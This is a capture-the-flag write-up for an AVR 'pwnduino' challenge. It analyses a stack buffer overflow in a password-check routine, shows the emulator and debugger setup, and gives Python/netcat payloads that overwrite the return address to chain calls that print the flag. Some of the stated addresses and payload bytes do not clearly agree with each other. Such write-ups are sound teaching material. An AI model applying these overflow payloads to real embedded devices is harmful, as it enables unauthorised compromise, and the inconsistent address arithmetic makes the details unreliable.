Writeup by numb3rss for pwnduino

pwn AVR

November 6, 2023

📖 Challenge Description

In this challenge, we need to exploit an AVR based binary, that has 1 simple feature: a login “page”.

Code Analysis

Before exploiting the program we first need to read the code and find the vulnerability.

int main(void) {
    uart_init();
    uart_flush();

    uart_puts("=== Welcome!\r\n");
    while(1) {
                uart_puts("Please enter your passphrase to compute CRC:\r\n");
                if(passwd_check() == 0){
                        unsigned char crc;
                        uart_puts("OK! Computing the secret CRC\r\n");
                        crc = compute_secret_crc();
                        uart_puts("Writing CRC to EEPROM ...\r\n");
                        eeprom_write_byte(0, crc);
                }
                else{
                        uart_puts("KO :-( Bad password ...\r\n");
                }
    }
    return 0;
}

The main function calls passwd_check and then if the function returns 0 it writes the flag to the eeprom. I am not very familiar with this but we will look into it afterwards.

int passwd_check(void){
        char buff[sizeof(passwd)];
        unsigned int i;
        int check;

        memset(buff, 0, sizeof(buff));
        i = 0;
        while(1){
                buff[i] = uart_get();
                if(buff[i] == '\n'){
                        buff[i] = 0;
                        break;
                }
                i++;
        }
        check = 0;
        for(i = 0; i < sizeof(passwd); i++){
                check |= (buff[i] ^ pgm_read_byte(&(passwd[i])));
        }
        return check;
}

The passwd_check function is more interessant because it handles a user input without checking the size. Indeed, the program reads an user input until “\n” is reached. It means that we can input as many characters as we wan’t and they will still be copied in the buf variable even if it is only 16 bytes long.

Another important function is the get_secret_address that returns a char pointer to the flag and that we can maybe use later on.

const char *get_secret_address(void)
{
        return secret;
}

We now have every element to exploit our program: we need to overwrite the return address to redirect the code execution to print the flag.

🔬 Setup the debug environment

To debug/emulate avr binary we need to install the avr toolkit and install an avr emulator with qemu.

$ sudo apt-get install avr-gcc avr-libc qemu-system-avr

We can compile the source code like this:

$ make all
avr-gcc -Wall -g -mmcu=atmega2560 uart.c main.c -o firmware_debug.elf
avr-objcopy -O binary -R .eeprom firmware_debug.elf firmware_debug.bin

After this it took me quite long to find a good documentation but I came across this documentation https://qemu-project.gitlab.io/qemu/system/target-avr.html which describes very well what I need.

To emulate the binary we use this command

qemu-system-avr -M mega2560 -bios firmware_debug.elf -nographic -serial tcp::5678,server=on,wait=off -s -S

The program will hang until it receives a tcp connection on port 5678 and until it is debugged by gdb. It’s really convenient because we can input stuff from netcat and we don’t need to pipe our payload to the parent process each time we wan’t to try something out.

To debug the progam we use avr-gdb (from the avr toolkit) like this:

$ avr-gdb -q firmware_debug.elf
Reading symbols from firmware_debug.elf...
(gdb) target remote :1234

At this stage I came across something annoying… we can’t use gdb wrapper like pwndbg because it’s an odd architecture …

💣 Exploit

note: debugging a binary with the basic version of gdb kinda feels like being naked but it didn’t gave me much troubles.

By inputing AAAAAAAAAAAAAAAABBBBCCCC in the binary we can see that the return address is being overwritten by our input*2: if we input “\x41” it becomes “\x82” in the return address. We now know that the padding to overwrite the Instruction Pointer is 19 bytes long.

So it means that for instance if we wan’t to redirect the execution of the program to 0xdeadbeef we will have to input 0x6f56df77 in the program because 0x6f56df77*2 = 0xdeadbeef.

My first idea was to try redirecting the code execution after the jump. To do so, we need to find the address of the instruction after the check.

The decompilation of the function main in avr instructions looks like this:

   (gdb) disass main
   0x00000440 <+0>:     push    r28
   0x00000442 <+2>:     push    r29
   0x00000444 <+4>:     push    r1
   0x00000446 <+6>:     in      r28, 0x3d ; 61
   0x00000448 <+8>:     in      r29, 0x3e ; 62
   0x0000044a <+10>:    call    0x142   ;  0x142 <uart_init>
   0x0000044e <+14>:    call    0x20c   ;  0x20c <uart_flush>
   0x00000452 <+18>:    ldi     r24, 0x00 ; 0
   0x00000454 <+20>:    ldi     r25, 0x02 ; 2
   0x00000456 <+22>:    call    0x190   ;  0x190 <uart_puts>
   0x0000045a <+26>:    ldi     r24, 0x0F ; 15
   0x0000045c <+28>:    ldi     r25, 0x02 ; 2
   0x0000045e <+30>:    call    0x190   ;  0x190 <uart_puts>
   0x00000462 <+34>:    call    0x354   ;  0x354 <passwd_check>
   0x00000466 <+38>:    or      r24, r25
   0x00000468 <+40>:    brne    .+34      ;  0x48c <main+76>
   0x0000046a <+42>:    ldi     r24, 0x3E ; 62
   0x0000046c <+44>:    ldi     r25, 0x02 ; 2
   0x0000046e <+46>:    call    0x190   ;  0x190 <uart_puts>
   0x00000472 <+50>:    call    0x2e4   ;  0x2e4 <compute_secret_crc>
   0x00000476 <+54>:    std     Y+1, r24  ; 0x01
   0x00000478 <+56>:    ldi     r24, 0x5D ; 93
   0x0000047a <+58>:    ldi     r25, 0x02 ; 2
   0x0000047c <+60>:    call    0x190   ;  0x190 <uart_puts>
   0x00000480 <+64>:    ldd     r22, Y+1  ; 0x01
   0x00000482 <+66>:    ldi     r24, 0x00 ; 0
   0x00000484 <+68>:    ldi     r25, 0x00 ; 0
   0x00000486 <+70>:    call    0x4a4   ;  0x4a4 <eeprom_write_byte>
   0x0000048a <+74>:    rjmp    .-50      ;  0x45a <main+26>
   0x0000048c <+76>:    ldi     r24, 0x79 ; 121
   0x0000048e <+78>:    ldi     r25, 0x02 ; 2
   0x00000490 <+80>:    call    0x190   ;  0x190 <uart_puts>
   0x00000494 <+84>:    rjmp    .-60      ;  0x45a <main+26>

Note: there are no such thing as PIE on this binary so no need to have leaks.

The conditional jump happens a the offset +40 of the function main so if we overwrite the return address with the address of main+42 it should be good.

The offset 42 of the function main coresponds to the address 0x0000046a so to redirect the execution to this adress we need to input "A"*19+"\x00"+"\x02"+"\x35" (because the addresses on the AVR arch are in big endian)

It gives us:

└─$ python2 -c 'print "A"*19+"\x00\x02\x35"' | nc localhost 5678
OK! Computing the secret CRC
Writing CRC to EEPROM ...
Please enter your passphrase to compute CRC:

Soooo we do pass the check but no flag ?? Wtf ? In fact it’s because despite the fact that we successfully redirected the execution, the flag was never meant tu be printed to us by just passing the login…. We need to find a new solution.

Remember, we have a function that returns a char pointer to the flag, so can’t we just call get_secret_addressand then call uart_puts_p that is specifically made to print out pointer ?

That is what we are going to do.

First we need the address of get_secret_address which is 0x0002d2 and the address of uart_puts_p which is 0x00026a.

It gives us the payload python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"'

Moment of truth

└─$ python2 -c 'print "A"*19+"\x00\x01\x69"+"\x00\x01\x35"' | nc challenges.france-cybersecurity-challenge.fr 2104
FCSC{a420bsdtAc120djf}

Thanks for reading and thanks to the creator for this challenge, it was my first time doing pwn on the AVR architecture and it was quite fun!

If you have any question you can send me a pm on discord: @numb3rss or on twitter: @Numb3rsProprety